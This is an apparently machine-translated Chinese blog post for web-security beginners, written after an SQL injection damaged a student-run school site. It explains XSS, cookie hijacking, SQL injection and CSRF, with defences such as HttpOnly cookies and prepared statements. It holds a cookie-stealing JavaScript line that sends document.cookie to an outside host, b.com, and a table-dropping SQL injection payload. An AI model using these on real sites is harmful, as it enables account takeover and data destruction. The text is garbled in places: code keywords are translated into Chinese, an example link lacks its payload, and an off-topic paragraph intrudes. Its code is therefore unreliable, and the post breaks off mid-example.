前言之前忙于各种事情,好久没有写文章了。最近我接手的一个学校网站项目最近被自动脚本搞坏了(笑...),因为我们是第一次做这种线上项目,对一些网络安全知识完全不了解,所以就开始了紧急漏洞修复和保护措施。所以我就把最近学到的知识总结一下。目前本人水平有限,只能做一个初步的了解,希望一些刚入行,在网上做实际项目的同学可以提高警惕。原因安全小白作为本网站的项目组长,完全不知道这些安全隐患,组员也没有研究过,才造成这种情况,因为我们是在校大学生,实在是没空学习的时间。研究了这些,希望给还没有步入社会的初学者提个醒。对于网络上常见的攻击方法,我只简单提一下它的攻击原理和防范方法。具体实现和深入研究,请自行百度,因为只有真正需要用到的时候才会深入了解。这里我只针对网络安全新手。做好知识扫盲。因为博主接触最多的服务端语言是JAVA,所以例子都来自javaweb项目。跨站脚本攻击(XSS)虽然我们目前做的是一个小型的博客网站,但是以后无论是自己的博客还是实际的项目,都可以使用图片提供外部链接,方便管理。如果你的网站流量很高,一天几十万,几百万,我的天,这时候你考虑的不是服务器空间够不够大,而是惊人的并发数,只是请求html文件的链接(或其他)如果处理不过来,也没有额外的资源来读取图片,那么就干脆把图片保存在另一台服务器上,缓解主服务器的压力,于是图床诞生了。反射型XSS是诱导用户打开恶意链接,服务器将链接中参数的恶意代码渲染到页面,然后传递给用户浏览器执行,从而达到目的攻击。比如下面的链接:http://a.com/a.jsp?name=xssa.jsp将页面渲染成如下html:Helloxss这时候浏览器会弹出一个提示框。这是一种常用的方法。如果要防范的话,可以通过在后台写方法来拦截过滤这些非法或者冒犯性的字符。PersistentXSSPersistentXSS通过向服务器提交恶意代码并存储在服务器端,然后在用户访问相关内容时渲染到页面,达到攻击目的,危害性较大。例如,攻击者使用恶意JS代码编写博客。文章发布后,所有访问博文的用户都会执行这个恶意JS。这对于我们开发网站来说是比较不重要的,但是要小心攻击者会在你的网站中注入一些非法代码来达到这个目的。Cookie劫持Cookies一般会保存当前用户的登录凭证。如果能拿到,往往意味着可以直接进入用户账号。Cookie劫持也是最常见的XSS攻击。以上面的反射型XSS为例,可以这样操作:首先诱导用户打开以下链接:http://a.com/a.jsp?name=xss用户打开链接后,会加载b.js,并执行b.js中的代码。b.js中存放了如下JS代码:varimg=document.createElement("img");img.src="http://b.com/log?"+转义(文档.cookie);文档.正文。附加子(img);上面的代码会向b.com请求一张图片,但实际上是将当前页面的cookie发送给b.com的服务器。这样就完成了窃取cookie的过程。一个简单的防御Cookie劫持的方法是在Set-Cookie时加上HttpOnly标志,浏览器禁止JavaScript访问带有HttpOnly属性的Cookies。XSS防御输入检查检查输入数据。例如,用户名只能是字母和数字,邮箱地址必须是指定的格式。一定要在后台检查,否则数据可能会绕过前端检查,直接发送到服务器。一般前后端都会检查,这样前端就可以屏蔽大部分无效数据。对特殊字符进行编码或过滤,但由于不知道输出的上下文,可能会进行不恰当的过滤。最好在输出中具体情况处理。输出检查对呈现为HTML的内容执行HtmlEncode,对呈现为JavaScript的内容执行JavascriptEncode。您还可以使用一些进行XSS检查的开源项目。SQL注入SQL注入是经常听到的。它类似于XSS,是由用户提交的数据作为命令执行造成的。下面是一个SQL注入的例子:Stringsql="select*fromuserwhereusername='"+username+"'";如上面的SQL语句,如果用户提交的username参数为leo,则数据库执行的SQL为:select*fromuserwhereusername='leo'但如果用户提交的username参数为leo';droptableuser–,则执行的SQL为:select*fromuserwhereusername='leo';droptableuser--'in查询完数据后,又进行了一次删表操作,后果非常严重。博主自己的网站主要是被SQL注入破坏,导致网站数据库损坏。防止SQL注入的最好方法是使用预编译语句,如下所示:Stringsql="select*fromuserwhereusername=?";PreparedStatementpstmt=conn.prepareStatement(sql);pstmt.setString(1,username);ResultSetresults=pstmt.executeQuery();不同的语言有不同的预编译方式,但是基本都可以处理。如果遇到无法使用的预编译方法,只能像防止XSS一样检查和编码参数。博主后面会贴出自己完美项目的检测代码,就是对网站可以提交数据的表单的输入进行SQL语句检测。Cross-siterequestforgery(CSRF)跨站请求伪造的英文全称是CrossSiteRequestForgery,因为攻击者可以获得操作所需的所有参数,然后在用户不知情的情况下构造一个伪造的请求.被执行。看下面的例子:如果a.com网站需要用户登录才能删除博客,删除博客的请求地址如下:GEThttp://a.com/blog/delete?id=1后用户登录a.com,打开http://b.com/b.html,内容如下:
